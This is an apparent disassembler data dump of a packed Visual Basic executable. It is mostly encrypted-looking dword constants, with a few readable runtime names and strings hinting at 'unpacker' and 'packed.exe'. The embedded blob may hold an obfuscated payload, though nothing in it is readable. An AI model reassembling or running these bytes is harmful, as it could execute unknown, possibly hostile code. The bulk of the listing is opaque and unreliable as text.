202F8B77h, 37B41D62h dd 0D42AAD5Fh, 6D8F50FAh, 760FB11h, 0A2DA9D8Fh, 3DBD0624h dd 0D410AB41h, 708F50FAh, 863F416h, 56199C8Eh, 0BB53E689h dd 4, 835BDE01h, 348704EEh, 0F5685C24h, 89000006h, 0A4682434h dd 89000020h, 0BA52240Ch, 28403027h, 881E281h, 0F2812293h dd 261105E8h, 24348152h, 48BD39E9h, 0E9F6815Eh, 5A48BD39h dd 240C8B54h, 4C481h, 52560000h, 144C4BBAh, 24540161h dd 418F5A04h, 8698108h, 61144C4Bh, 53240C8Bh, 0C381E389h dd 4, 8704C383h, 8B5C241Ch, 89532434h, 4C381E3h, 81000000h dd 4C3h, 241C8700h, 2DFBE95Ch, 82B0FFFBh, 9E697400h dd 756C787Ch, 14A7B8E3h, 0C5030611h, 51DE0FFh, 707270h dd 7BF2344Fh, 0DA15134Fh, 0ECB47EACh, 91442888h, 15902C4Ah dd 668F77B1h, 6BED7B6Dh, 22C23228h, 0BD825CD2h, 156A0FE6h dd 0C4F30885h, 645651F9h, 314A548Bh, 0CB1C1AFEh, 44494C8Dh dd 0D6A20260h, 8C53197Eh, 0BEEC24BEh, 5CE95FA3h, 0C5000001h dd 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h dd 2E64656Bh, 657865h, 3Ah dup(0) db 0 db 2 dup(0), 33h aCannotFindS_Pl db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 db 6Fh dd 0E97117DFh, 1B1Eh, 11190C68h, 6829E906h, 0C68FFFAh dd 0E906111Ah, 0FFFA681Fh, 111B2D68h, 6815E906h, 0D368FFFAh dd 0E906111Bh, 0FFFA680Bh, 111C1268h, 6801E906h, 0D368FFFAh dd 0E906111Ch, 0FFFA67F7h, 111D2B68h, 67EDE906h, 8768FFFAh dd 0E906111Dh, 0FFFA67E3h, 1123DC68h, 67D9E906h, 4F68FFFAh dd 0E9061124h, 0FFFA67CFh, 11252C68h, 67C5E906h, 0F768FFFAh dd 0E9061125h, 0FFFA67BBh, 11266268h, 67B1E906h, 5668FFFAh dd 0E9061127h, 0FFFA67A7h, 1127EE68h, 679DE906h, 0A268FFFAh dd 0E9061128h, 0FFFA6793h, 112EE568h, 6789E906h, 0F468FFFAh dd 0E906112Fh, 0FFFA677Fh, 1130C868h, 6775E906h, 0A1CFFFAh dd 0B0C72033h, 66B55281h, 71F886Bh, 0B6CA3B38h, 86ED548Fh dd 31221D67h, 61F2CFD4h, 9E457084h, 0CA292471h, 0C7832BC1h dd 48C5850Ah, 0D5DE03F9h, 4CE072F8h, 0C3941D38h, 0B59D4B8Fh dd 5D86B3C4h, 592D41D3h, 2EC3941Dh, 1A623AD4h, 0CE53DB01h dd 7F4260E6h, 0DE24D11Bh, 113F13E7h, 0E4592939h, 148C3A60h dd 5CA6399h, 46E72C35h, 1000000h, 0E4760D6Fh, 6CDDE039h dd 675B2F16h, 2E8F27C9h, 1FBD9F05h, 1885573Bh, 3C4B320Fh dd 7313E30Dh, 0A63A60CBh, 56BCCB3Ah, 9F83E121h, 5882E605h dd 603EB0D4h, 25C3373Ah, 5F8E0283h, 4A2C3514h, 0D0h, 0F8D5DE92h dd 605FA514h, 4C5F4E9Ch, 297AD37Dh, 73A2A81Ch, 0FBA21629h dd 0D72B9FA2h, 0AFF855F3h, 0E1DD4192h, 78C39419h, 47C1122Fh dd 8E724F56h, 64B19C4Ah, 0F785E569h, 6376FE6Ch, 0C44260FFh dd 633965FEh, 0F09A12D8h, 4B446D5Eh, 0AA5BE577h, 0A5996D54h dd 0F4C5D4h, 0D12B22CCh, 4DF27CEEh, 0AB7C9E48h, 6662E240h dd 0E9307311h, 92796691h, 0ADA7665Bh, 0FD07E083h, 83D4B034h dd 0BC5B3073h, 6881F513h, 0A79BFFEAh, 6ACCFAA8h, 0B609F98Ch dd 187Ah, 6A89C0D2h, 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h dd 0C7DD3027h, 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h dd 8504BDC9h, 0DD4332C5h, 296EDADEh, 0C2233014h, 0B95F84B1h dd 84150BDh, 0A5BEDEDEh, 139B25B7h, 0C3941D77h, 196693B8h dd 13EC3DADh, 0C475012Fh, 0A9BD9F15h, 0CD5FED51h, 60FB2D59h dd 6E5BAC3Ah, 0DFE63C91h, 350C12FBh, 13E30D41h, 3A60FB73h dd 19F3F2A6h, 2C35D6F0h, 0CAD9h, 0D5DE2700h, 5FA514F8h dd 78549C60h, 0C1C39419h, 0CFF60CB4h, 8A9F08EBh, 0C9D3CBBFh dd 3104A8B2h, 364260FFh, 354717CCh, 20B23C2Eh, 60CCF88Ch dd 0FE8A223Ah, 713A60CCh, 9AB48E09h, 6D5CB3CAh, 0E9FA6144h dd 8567F305h, 7493709Eh, 71CF05EDh, 0AEBC9058h, 95A8F11Ch dd 0B78E927Bh, 0F7BB20ACh, 46DDA5E1h, 0E5761B24h, 0DC908526h dd 0FEC1DB32h, 6A522371h, 857AC88Ch, 177Ah, 6A89C0D2h dd 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h, 0C7DD3027h dd 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h, 8507BDC9h dd 0DD4332C5h, 71FBDADEh, 3DF249CAh, 0B624D3EEh, 4023CD55h dd 0FC6752A7h, 3A4EE670h, 8DC394D2h, 0DEA59BB5h, 0BC146DD5h dd 95E95D68h, 1E8F5DB1h, 0A7502419h, 4F72F44Ah, 0B452B62Dh dd 0AD98ED5Ch, 0DA0300BFh, 9F3C58D9h, 34EB9860h, 26C0F499h dd 0C1D2C34Dh, 7DCC00F4h, 57AB1F2Ah, 8C97E5B9h, 6D5CAF5Eh dd 8529C3h, 5BD9F7Ch, 0B9FE2F3Dh, 23DC3084h, 0BFC8D3CCh dd 0D830DED7h, 61937808h, 0F6F7AD3Ah, 359AEB02h, 0A8C62Ch dd 462E0000h, 0C65D3F2Bh, 0A39EE914h, 0A34DFBDFh, 4E1CAA11h dd 922A43A8h, 0DBA5E074h, 50AABD9Fh, 0C145F77Fh, 39909FBh dd 1362668Eh, 9DE5E6CFh, 89EDD82Ch, 22EECB63h, 7B5F98C4h dd 0EB059797h, 0FADEA29Dh, 0E688FC70h, 3B1FDCDBh, 0E99115C7h dd 46A2D629h, 0EA3FEE7Ch, 9EEB04DFh, 0B0FAA4A3h, 19E96710h dd 1659A6h, 0A8A7F300h, 7E4B5A4Bh, 0C0F908E5h, 95ACF213h dd 645BA14Eh, 0FA1158FFh, 0AB449FA6h, 1BF46F52h, 0C421320Dh dd 0AC5D86B3h, 65C28BCh, 64D3C585h, 0F8D5DEFCh, 0F3881414h dd 0D40C569h, 0FDC5BD9Fh, 50BD9E66h, 0EDD8764Bh, 8992EAD6h dd 5FECB63h, 0B4FBD9Fh, 8A84D214h, 498C548h, 1A68BAA4h dd 0C73B3BB4h, 91A8B15h, 5742123Ch, 0D8CF5426h, 7E1E1EE2h dd 97FF77E5h, 68D12625h, 0CADDC812h, 6E9F51FFh, 0D3C22825h dd 0C2068AC5h, 0AD11287Bh, 0A824BF69h, 0F11F2A7Dh, 313E0B1Ch dd 19A0B28Fh, 0B3E9AEA4h, 0D000015h, 0F411C2F9h, 0A24390A1h dd 0CF97A57h, 0FB14CFF6h, 0FE459EA1h, 310C14F7h, 81BCC522h dd 5463B552h, 38151E8Fh, 921AD63Bh, 0C58506F6h, 0DE128A79h dd 5B6FF8D5h, 0E880522Ch, 1574A51Ah, 0BACC0000h, 60B75083h dd 16658251h, 0B7CF383Bh, 66BA6B88h, 363D845Fh, 61F2CDD7h dd 91427F84h, 0CE152074h, 7AF9D421h, 0B7D35B91h, 38C58501h dd 0D5DED349h, 0A529146Dh, 7DD8D661h, 0A6452FDCh, 0CF6CFE42h dd 8B72A93Ah, 4854F27Ch, 0A93D2F34h, 0BD9FF470h, 196EF5CDh dd 162D4F99h, 0CD65A0C4h, 90EA446Ah, 0E9435B4Ah, 0FFD3A79Ah dd 0EA766D9Bh, 30DEE13Bh, 0D63576A4h, 0DB3646DBh, 0D5F53753h dd 6E42B894h, 0C44D68FCh, 0D822EADEh, 2279E674h, 0E6D48A57h dd 0EBB10D3Bh, 0C3788A50h, 0D422F1A2h, 69FD2BC5h, 0ECAFB901h dd 0A75684FEh, 70FC6752h, 0AD5B7685h, 0ED7A57A0h, 352A3DCFh dd 0B341060Ch, 0D000014h, 0F411C2F9h, 0A24390A1h, 0CF97A57h dd 0FB14CFF6h, 0FE459EA1h, 310C14F7h, 81BCC522h, 5463B552h dd 38151E8Fh, 921AD63Bh, 0C58501F6h, 0A7128A79h, 0C3941D23h dd 942DB3D3h, 53A451C3h, 4C3CC866h, 0B43C6BDDh, 3C6BFDD4h dd 0FA754055h, 80524BECh, 5B443B0Fh, 0F5000014h, 5C49AAA1h dd 0AFB7849h, 0F411C2FFh, 0A34C97AEh, 46FD6659h, 99A4FC1Fh dd 6954AD5Ah, 3C0B1D8Ah, 80BDC627h, 2A42AE53h, 0C585005Eh dd 6FFA62D1h, 40E4760Dh, 0BD9F0059h, 0C18529BBh, 463A60CCh dd 9875D27Ch, 5A9B382h, 3A60CC41h, 4F98FCC6h, 865D5B59h dd 0FFE3A4AEh, 59000013h, 0ED764Dh, 0EE1FC4F5h, 58B5AEA3h dd 7E07342h, 0A211C2FDh, 6558A0BBh, 350811FEh, 98B7C12Eh dd 6C59AA5Bh, 4EE60AF7h, 0C585003Ah, 0DE463E8Dh, 0E2E60ED5h dd 65C3941Dh, 1D0743EBh, 0B288C394h, 27967A5Eh, 0E313E7D2h dd 45E41CA9h, 6C32400Dh, 38h, 340B11FCh, 7CE20C40h, 941D27A7h dd 605DA6C3h, 0CA796BF3h, 179FC3CEh, 3C309673h, 96711599h dd 8CF63C30h, 67EBCF33h, 137DA0h, 0BA32BC00h, 3C3096CEh dd 69CF7941h, 176DD5DEh, 0C60A428h, 71C60B8h, 0CC394BD5h dd 0D7989B4h, 82C3941Dh, 0DBC68EB8h, 0C1BD9F34h, 0F84B3FB7h dd 0E6DC3A60h, 6CF7CB48h, 0BD16A32h, 0CBBF869Ah, 1F9759F7h dd 446BC0EEh, 0C6B71B7Fh, 0C95D86BBh, 307DC6B8h, 832BEC3Bh dd 307DC6C7h, 0B4033246h, 5B806A4Eh, 61D48C08h, 0F56E98AFh dd 483C0D18h, 0D7BB96E1h, 799E2F69h, 92C9132Eh, 5854C058h dd 300D1229h, 0FA14084Ch, 0F56E9F79h, 0EF4C2629h, 0B2ED45D7h dd 0AA2FD9E5h, 1B8h, 760D6FB2h, 53AB5AE4h, 0B32C26Ch, 64BD9F26h dd 0D821CC1Eh, 16C74BE5h, 0C421320Fh, 343C80B1h, 3A60DB54h dd 2EB23361h, 5262A0B1h, 43870B42h, 0CCA595B4h, 0EDDC2B22h dd 0CF542876h, 7B20891Dh, 251D446Ah, 8CB1C637h, 7BB2D65Eh dd 0CD35307Dh, 3A7E2F23h, 0D324D11Bh dd 103E12E6h, 5362B657h, 67B05DEFh, 42786AB1h, 5799122h dd 23B35DB1h, 307DA0A1h, 3F454090h, 0A04D39ADh, 0F8C2307Dh dd 9AA5FF4Eh, 0FD59AC59h, 0D5299DA8h, 495C0DF1h, 202A9478h dd 0A06A1E96h, 0D1BD307Dh, 0CDD9C340h, 9A635720h, 0F0D4B885h dd 0A8515C56h, 5F76C5Dh, 262A4CE4h, 3FCDh, 0DADE2B00h dd 52A617FBh, 0E7219F63h, 32FB01E6h, 941DCEBAh, 97EC41C3h dd 8EE226AAh, 4D5540AAh, 34B88276h, 0C3941D50h, 5D8FE3D7h dd 941DBDC9h, 1EC832C3h, 0F092BB45h, 0C1BF3240h, 59000000h dd 0E4760D6Fh, 9EFF1140h, 0D0A49EBDh, 1074F80Ah, 973A60CFh dd 7D8885A3h, 2F76974Ch, 0A8FFAE12h, 494B3599h, 8D8734BCh dd 0D66E3701h, 7B8A83ADh, 0C26B954Eh, 0EF2C3587h, 74h dd 0BB33BD09h, 0C3941DCFh, 0F0CC7A40h, 204496A9h, 0C3941DF4h dd 0D5578416h, 313CDFD7h, 0C5CFBB4Bh, 7A40C394h, 9BB58493h dd 72F246BCh, 0C394C612h, 6B830DDFh, 0C394CA1Fh, 13FE7190h dd 5D031EB6h, 0D8D5CF79h, 665DA550h, 0C90BE92h, 0F600EA6Dh dd 78C1F007h, 56AA1E23h, 16082CB8h, 1B7FC394h, 59A14CD8h dd 87CF07Ah, 9FC39417h, 11968DBBh, 3E000000h, 53C8h, 129A2400h dd 0C3941D76h, 0F16781F9h, 0CFBB33BDh, 40C3941Dh, 3241CC7Ah dd 0B3C2AB1Fh, 5CA95486h, 8FB99D61h, 48EC3BD4h, 45B90D30h dd 2195A0F4h, 0E50589EDh, 2B3B8F98h, 0C56B4F64h, 1098158Fh dd 1D1A6E86h, 95EDC394h, 0F168817Bh, 6B413240h, 0AF00000Bh dd 764B50BDh, 0A9477287h, 0BFF8815h, 4B3FB7C1h, 0DCC3941Dh dd 77BC48E6h, 923B3F08h, 0DC0D8706h, 0F5A894D8h, 32h, 0E40E6F13h dd 6FDEA29Fh, 61A52918h, 5964BC0Dh, 0B7FF765h, 9CC3941Dh dd 9412D2A6h, 0D1AE761h, 4BE21697h, 7188CD23h, 0AB457084h dd 1F0D6h, 33BD3E00h, 941DCFBBh, 0C64B00C3h, 6D6B1E41h dd 3E7EA892h, 0EB1AC05Fh, 9187A198h, 0D5DEBCA4h, 0D04806F8h dd 40050CCDh, 38D3237h, 2F66B96Ch, 21E67B95h, 0E000000h dd 9F710E6Fh, 1D5829BDh, 0EDD5C394h, 4A878E7Fh, 47BDA69Ch dd 18FED3DEh, 3FC8857Bh, 50000000h, 9F710E6Fh, 94450BDh dd 4B3FB785h, 0DCC3941Dh, 8A6482E6h, 941D6362h, 0F1481C3h dd 0CD0A4E32h, 25C5B3EFh, 1992BCF7h, 778273F9h, 0BDB6AC5Ah dd 0FED3DE47h, 4550BD18h, 0A24C8074h, 2BA7080Eh, 0B204A3B8h dd 638C576Eh, 0C4313B16h, 9C6781BCh, 0DD162973h, 5B404D97h dd 0B31C734Eh, 0F7986B66h, 18958F9Ch, 0B4ABA6F3h, 0F2961EA8h dd 75835B84h, 196AE30Dh, 0D226272Ch, 5B847E0Fh, 618BCF83h dd 0D98C6EB4h, 3B3AEBA3h, 0B5897D51h, 5E98C89Bh, 605DA64Fh dd 0C3FE0BFAh, 0F6ED1B7Fh, 0B23AF309h, 835B13D6h, 0DF0D6159h dd 0ACD5F060h, 0D6707A19h, 2873E872h, 0FC278457h, 572590BEh dd 6EFFE3Ah, 0F710C3F2h, 3B4597A2h, 5B30D7B3h, 0C4625883h dd 1BCED233h, 835B306Ah, 0D5549FE3h, 98ED1293h, 0B0C54AADh dd 47194E85h, 0FD22A3E1h, 0D5BA9DA8h, 917EF5C0h, 0E9BFB48Bh dd 5160B667h, 0BF0FDB7h, 74ECC3FEh, 6F8D5DEh, 0A6FBCA4h dd 0D0489375h, 40050CCDh, 2F2537h, 6FC30000h, 0BD93750Ah dd 941D5829h, 0BEDD5C3h, 0DA133BDh, 0C3941D79h, 0E45AF4CEh dd 9C9F1EBDh, 7DF10635h, 1E2B7AD3h, 0C8857BB8h, 3Bh, 0E00A6F50h dd 0F2D6BA97h, 29BD389Eh, 0C3941D58h, 0BDA71979h, 790DA133h dd 0CEC3941Dh, 0DEE45AF4h, 7B04FAD7h, 36F104F1h, 941DCABEh dd 1655DC3h, 0DBE59BDh, 7BD69F1Bh, 0A705FB15h, 0C3941E99h dd 58E7DE24h, 10A551FFh, 940B6F71h, 0FFFFFDB8h, 1D27A73Ch dd 96C5C394h, 4EEF2ACDh, 0B93BD74h, 377E0E72h, 0D1731D36h dd 0C3078BC6h, 9DE97DEFh, 12C394C7h, 0FE2F3428h, 0A03945B3h dd 2F6CDD5h, 0C72D31CEh, 3F2785Ch, 2C74C5F4h, 0C913F711h dd 9FDC8DCh, 73E4435h, 25B15FB3h, 0C3947BA1h, 1DE1DC28h dd 0E46859ACh, 0D0AA3B79h, 0B95E6F25h, 638C576Ah, 88372514h dd 0D5E2C3DAh, 447B8101h, 8EB89CF0h, 6FF089D5h, 0FEA519Bh dd 0EE9DBDC8h, 97AA3AD4h, 0B281C1DAh, 0FC2DE7E6h, 0C2EFE9EFh dd 78BC6D3h, 0FA5C25C3h, 0CC000001h, 0F65E2A42h, 7CD17E3Dh dd 52B61A27h, 0BD6AD07Eh, 0DB754850h, 941D7A0Bh, 2B304CC3h dd 2CB4ADC1h, 0B189BD9Fh, 1B3645A2h, 0E4D524D1h, 17C64Ah dd 899C4D31h, 0C8D4D4B8h, 54C26868h, 64588E21h, 0E4BB7EF6h dd 360C446Bh, 68759939h, 9768DA8Ch, 0DAAh, 1AD9F002h, 0B4AF9AEDh dd 0E271485Bh, 1DC6FD05h, 4E95A8F0h, 0F70DE0F7h, 0A5FA2BC8h dd 5AAA5B98h, 217F063h, 0DDF2C37h, 853EED99h, 2D9362C5h dd 14F8D5DEh, 69F38814h, 8526A7C5h, 8D228BDh, 0A0B38E9Dh dd 8B903447h, 83BEC7B6h, 2172DBAFh, 3448A014h, 21B33D2Fh dd 7AF4F98Dh, 0DA744E3Ah, 71C2AB0Ah, 0B1BE8444h, 8C6E5753h dd 3715EA58h, 9100000Dh, 78954E85h, 26C71C2Dh, 907DE6DBh dd 7FA84B8Ah, 7AD91A25h, 0BD809873h, 0D3049A6h, 0D0EF39D6h dd 0A491E203h, 169E52BFh, 0C5853972h, 0DE9E06F5h, 0CD72F8D5h dd 0AF643850h, 0D8ACC05Eh, 0AFC394CFh, 41E5776Bh, 0C394CF05h dd 0B296B08Ah, 0D319227Ah, 9E2B225Bh, 9547BBBDh, 0B3E7E30Bh dd 12683A61h, 3F7B9DE5h, 6D9B854Ch, 3D081D8Ah, 0E9247826h dd 61B10145h, 58BC863Ah, 8A471A92h, 6BF54470h, 945C69BAh dd 307088F0h, 66E50377h, 51BCCE1Ch, 6FDE0847h, 0D9362D1Ch dd 0B865F7CAh, 95E95D60h, 1645977Bh, 85ECECC8h, 0CB42ECD6h dd 2D3F83BEh, 327F0BA3h, 8AF03070h, 273C405Ch, 5ABCC835h dd 0E397E44Dh, 103E1267h, 2967D65Eh, 0F2C84E7Bh, 793D9975h dd 0E758AA92h, 0C5Ah, 4AA9A0F2h, 0E47F4A5Dh, 12C1F80Bh dd 4D96ADF5h, 0FE6558A0h, 0A7FD1047h, 55AA5B98h, 0A1A8B68h dd 0B2C72033h, 0BDAF5C87h, 85385D29h, 0FD63D2C5h, 14F8D5DEh dd 69F38814h, 9F1B24C5h, 8251A9BDh, 67B21265h, 4EA2E66Ah dd 0CB297895h, 8A15FCA7h, 469DF136h, 760D6FBEh, 1D6140E4h dd 94EEBD9Fh, 91EB1A20h, 94F480AEh, 413A611Dh, 8FBE5253h dd 0BA2C35F0h, 94h, 0FAD7DE42h, 0BA50A716h, 3F58CD8Ch dd 0A0244835h, 27C394E5h, 379BFFD3h, 0BD013046h, 0FD891DAFh dd 72C394E5h, 186FDE08h, 785C6DBCh, 5AE1BBFBh, 0E79D1C90h dd 0B352BD9Fh, 0CEA44708h, 3F4BE30Ch, 0B03A617Ch, 0F572564Ah dd 865CCAFBh, 8F7DD230h, 2900000Bh, 907DE6DDh, 7EAFB485h dd 28C51E33h, 9770E3D2h, 12A1B28Dh, 0D5E830CBh, 0A598E10Eh dd 84751BEh, 0DCE93AEBh, 0FE76FA07h, 0C585388Ah, 0DE36AE1Dh dd 8570FAD7h, 93F75B76h, 5B03F275h, 0AD000000h, 1C6FD7DEh dd 0F223C92Dh, 907896A3h, 0ED7F0498h, 6B62B263h, 0F185A3E7h dd 0BD9F0424h, 44B6B189h, 7F865D54h, 0B24348Bh, 6ABC0000h dd 10678053h, 0C6D53221h, 67BF688Bh, 166A9B58h, 668D342Fh dd 91427D87h, 0C1122F74h, 7EE5D024h, 0AA498491h, 67638B61h dd 0E8C5853Bh, 0D5DEA319h, 0B4C614F8h, 0B90D3049h, 1DF98D45h dd 744EC394h, 0DD2673DAh, 941D3D49h, 5448B2C3h, 3D445986h dd 8FA65890h, 0FB49E961h, 44C8F50Ah, 0EC4CC0DBh, 0E3C73BA8h dd 0AE626345h, 32401E7Fh, 0E04850BDh, 0F841A598h, 0E92D91ACh dd 234BA3Fh, 46420000h, 0D66D0F5Bh, 5A5E004h, 98C7BD9Fh dd 8196940Ch, 139183BCh, 22C13EE8h dd 61CACACAh, 0BB9CF02Fh, 0F7C538ABh, 55EE8E28h, 6F2A6F87h dd 49F6BBC2h, 4B4FBA45h, 8F8CBAF7h, 10E4D9DEh, 0E674D83Ch dd 39D7E237h, 0DE0C1765h, 7A59A14Ch, 4A8B296h, 0C3C52F40h dd 8155F3C7h, 0BDC8E0D9h, 0FFE6C56h, 0FB14CFFAh, 985493AEh dd 67860F77h, 0A302CE3h, 7E880000h, 24739C47h, 0D221CE15h dd 738B64FFh, 2276974Ch, 6A71C013h, 0ADB68993h, 0DD063B40h dd 0AE9E430h, 0A6BD889Dh, 6B1F9755h, 0FCC5853Ah, 0D7DE970Dh dd 861616FAh, 6CC76FFDh, 0FDBD8526h, 51A65785h, 0F776129Ah dd 14F93A7Ah, 0A4E320Fh, 0C4213216h, 0EE0417BFh, 3B109FBh dd 0B2067A38h, 66F07A5Eh, 7AE7BACEh, 1B350D3Ah, 9EA5F737h dd 255D84Ch, 16874470h, 0B4F3302h, 0A6407D82h, 1A8B51A9h dd 0CA3B3805h, 550488B5h, 1CFA7540h, 0DF8C6E56h, 998946Bh dd 0E6300000h, 8C9B74EFh, 3A49A6BDh, 0EB33DC07h, 9A9E0FD4h dd 0D219B8BBh, 5DEE13Bh, 0B5AE93E8h, 0E2714C58h, 1EC5F005h dd 93F77FEDh, 14C5853Ah, 0D5A13FA5h, 0C3941DB9h, 394FF700h dd 6246BA0Eh, 0EBD62F9Eh, 0FA0B2D67h, 0AE3F7580h, 5AE1BBFBh dd 0F8911C90h, 0DACBBD9Eh, 0F14EF8C5h, 6AD16389h, 9D99EA2Bh dd 0E60EDC0Dh, 3A605EE2h, 1AF31D65h, 7521320Fh, 0BCCE1C27h dd 605E5C28h, 41EFD33Ah, 3A7E07AFh, 10A2446Dh, 7280E89Ch dd 0ED1B7F30h, 0AD76816Eh, 72804D39h, 84F8C230h, 6CD0EF35h dd 0F7263428h, 0A34C97A2h, 2CEC7B56h, 0A38C6B8Fh, 8E4E0A7h dd 2A7C0000h, 0D027C013h, 869572E1h, 277FA84Bh, 0D62ADB18h dd 0A6CD74EFh, 0D1023D47h, 1D2EF34h, 0BEA590E4h, 0EA094451h dd 27A3CB21h, 0A8C58535h, 27A763D9h, 0A6C3941Dh, 68FA605Dh dd 941D80C4h, 0C2F109C3h, 0BE839875h, 248CBD5Ah, 0F7DE7000h dd 0BCC09E59h, 2AD5EC32h, 9FA40CAh, 0C6140827h, 9E1F09AEh dd 0DA007ABDh, 71E2DD2Bh, 0C1B58094h, 8710Eh, 50BD9600h dd 0C3DB7548h, 34B8A2B9h, 0BD9F2C3Dh, 9022C832h, 60F1681Ch dd 6D9BFF3Ah, 0F13D4DE5h, 0C8E83A60h, 0DD26C73Dh, 92032C35h dd 0ED000001h, 0BFFD6DEh, 0FA605DA2h, 7DC1F80Bh, 0D11BEF19h dd 12E6D324h, 2440A0E5h, 1656B1Eh, 0FB1D66E7h, 6068DC3Ch dd 4993F759h, 188C475Ch, 0C394B26Ch, 0D7BB9FE3h, 0CFD55F3h dd 854258F8h, 94B26561h, 0BC90EAC3h, 0F205F4C8h, 3B1F73C7h dd 8EB9CF38h, 839CE23Ah, 0B2C9D559h, 0E213C394h, 8C8BA59Ch dd 5D57C2B6h, 625DAB50h, 2D5143F8h, 24D3EE3Dh, 0B6A4B45Dh dd 946C4A3Eh, 4BE5DDC3h, 1E297FA8h, 2275A0AAh, 256DF917h dd 0D8C3946Dh, 0D024CDD8h, 0A1152870h, 6D77139Bh, 82F8C394h dd 1FA94AAEh, 0DCE53AA0h, 0A35FF8C9h, 7844E223h, 22D31926h dd 3216FAD7h, 93C85A14h, 0EF747638h, 6CF8165Eh, 0C3940F10h dd 1D2F93E7h, 24A8A1F0h, 0BEC746E0h, 0F95F175h, 201AC394h dd 269517CCh, 12B61A0Eh, 0A9F84178h, 3EE82C90h, 1A1EB6CFh dd 1F73573Bh, 84B1C2ABh, 56470530h, 0D0D27C41h, 0FE104FD5h dd 0A9E1B646h, 61FEE18h, 0B6CF383Bh, 95E7078Bh, 0A1C85C8Eh dd 73BD9F96h, 0BA394DE1h, 0B48E3A61h, 9E45BD9Ah, 0A1152871h dd 65BF3549h, 70F4665Ah, 3A61BA18h, 6EDFA397h, 0F6A72B2Ah dd 22289CA1h, 61BAFE8Ah, 3409713Ah, 90ADE1ECh, 176C9510h dd 2DBFC92Ah, 4898B1C0h, 3A61BA3Ch, 0ACA14FB3h, 17A2B157h dd 0D446A51Ah, 3A9AEE06h, 156D3A61h, 4F2D4D31h, 0C38E2634h dd 19446A0Eh, 0C63678Fh, 9EE4307Eh, 0B4AF9370h, 0E47F425Bh dd 11C2FD0Bh, 760D6FE3h, 345D40E4h, 0E8D2BD9Fh, 5762B564h dd 0A6F748Ch, 21A18175h, 0F4C3941Dh, 42EB21ACh, 6F3240F1h dd 2Dh, 0E81E5EFDh, 0DB779CB6h, 0D7DE372Dh, 0AADE16FAh dd 7FC3941Dh, 0F520A825h, 0EF2397A2h, 88B9CC41h, 0FEC3C36Bh dd 70D7C393h, 0FFFFFFBEh, 0F8D5DE98h, 6F65DB06h, 0B493750Ah dd 50CCD4Ch, 0A0323740h, 941D780Ch, 9FB2C1C0h, 552CDA20h dd 34h, 750A6FB3h, 5D29BD93h, 0D2C3941Dh, 50BD76E8h, 4C807445h dd 0B2BD32B3h, 0C866BEFFh, 0D7DEE026h, 0A428176Fh, 7BAA0C60h dd 66C885h, 0F9240000h, 8C729CA3h, 0CFBB33BDh, 0C3941Dh dd 0E2DB2001h, 54AE29B0h, 8097E2BAh, 625DAB5Ah, 968CBA9Eh dd 0E04850BDh, 0F544B891h, 0F37DABA6h, 941D0F7Bh, 0CB63EDC3h dd 0C3941DBFh, 931CCA30h, 47BD9177h, 0B4A50BDh, 0AC5A7782h dd 857B56A1h, 0CFBB33BDh, 4EC3941Dh, 47BB0F46h, 4F7582F8h dd 63859508h, 0B85E52FCh, 0AFED3DEh, 941DAEDAh, 0A42163C3h dd 0ABA6F11Ch, 4881907Dh, 172A73A2h, 4EE87EF9h, 4CC39421h dd 6BEFACD8h, 0FBDF233Ch, 0FFF44F04h, 0D7DEACFFh, 5F3D79FAh dd 0F79E16C4h, 48BD9F24h, 26A68E72h, 0F33A60E8h, 3DEC24A1h dd 32C3502h, 182886DCh, 764A3E03h, 6CA50DC9h, 143FC2h dd 0C8D90000h, 0Eh, 1D6B9A24h, 1DA62222h, 0D129C394h, 1EBDC137h dd 4FE7E2D2h, 0C3947F3Bh, 7589B68Ch, 0EF358416h, 0FE286CD0h dd 9745DEBEh, 0B28F9805h, 7301C094h, 51E3BD9Fh, 6150A9DDh dd 75C43E3Ah, 1CFB1520h, 0BF873426h, 0EDBD0564h, 77262AC4h dd 5CC21120h, 3A619955h, 0BEA590E4h, 0E2084751h, 0D7F2057Dh dd 8BA5DE36h, 1C06B587h, 379CA097h, 3E0B1AE3h, 32C9A510h dd 0B05DE7E6h, 37E66A67h, 2E62D6E1h, 0E7311CCAh, 899A0BE8h dd 24A6224Ah, 0D1293A61h, 8C9976FDh, 0A0F2B2B1h, 0BABFC25h dd 0F6E9CDFCh, 0BB33BD1Eh, 0C3941DCFh, 52CC7A40h, 31C004BBh dd 0D496h, 0F6F7E00h, 0D458EA70h, 0C3941DB0h, 2B7AC337h dd 0B856AA1Eh, 5829BD42h, 79C3941Dh, 33BB788Ch, 0C3941D57h dd 0AA8EE2D8h, 0C233BD34h, 0DC3084B1h, 7A75CC32h, 6DD5DE82h dd 20CA2E15h, 0F305AFF5h, 381C70C4h, 65DB280Eh, 9D4150BDh dd 0AD5BBF8Ah, 11F78811h, 0CCD4CB4h, 25374005h, 3Eh, 0C58125B7h dd 4AC0941Dh, 40A493E5h, 0A6FB0A6h, 50BD9375h, 0B990E34Bh dd 91ACF445h, 0AD3FE92Dh, 941D4D39h, 6F8C2C3h, 0D7DE47BDh dd 1DEC980Ch, 1F63C394h, 857B453Bh, 32C8h, 0A6F5000h, 0A855E775h dd 0BA9E625Fh, 941DDEAAh, 0BF6951C3h, 5D29BD59h, 7EC3941Dh dd 0C74B8691h, 0BDC9AF83h, 6FD7DE47h, 4479BE16h, 44B89CF0h dd 0C8857BE2h, 0FFFFFF19h, 0EF1EBD50h, 4BFA573h, 0BF033E4Bh dd 8F96675Bh, 6CB994B2h, 0EB3CED51h, 435905DEh, 37BA3238h dd 65BD9F7Ch, 88526FB8h, 61426064h, 7593E73Ah, 1BEAC96h dd 62CE86D6h, 0E3388138h, 0F8166ADEh, 5D95CA10h, 8EFA7239h dd 13A612Ah, 18E51E39h, 1272022Ch, 0C73A6109h, 1138D0DDh dd 382C3521h, 50h, 4150BDC4h, 1D1276FEh, 0AD95C394h, 7D1F9F49h dd 75EA74E6h, 659E1B1Eh, 0F282AC36h, 0BD9FF743h, 0C262D62Ch dd 3A61D582h, 75D9F003h, 0FC407184h, 7D119C96h, 47CDD8D8h dd 0C7BA018h, 0E20CF4E5h, 3608D178h, 0F63EEF2Ch, 0ACA831DFh dd 0B4000000h, 14F8D5DEh, 9C605FA5h, 19EDD82Dh, 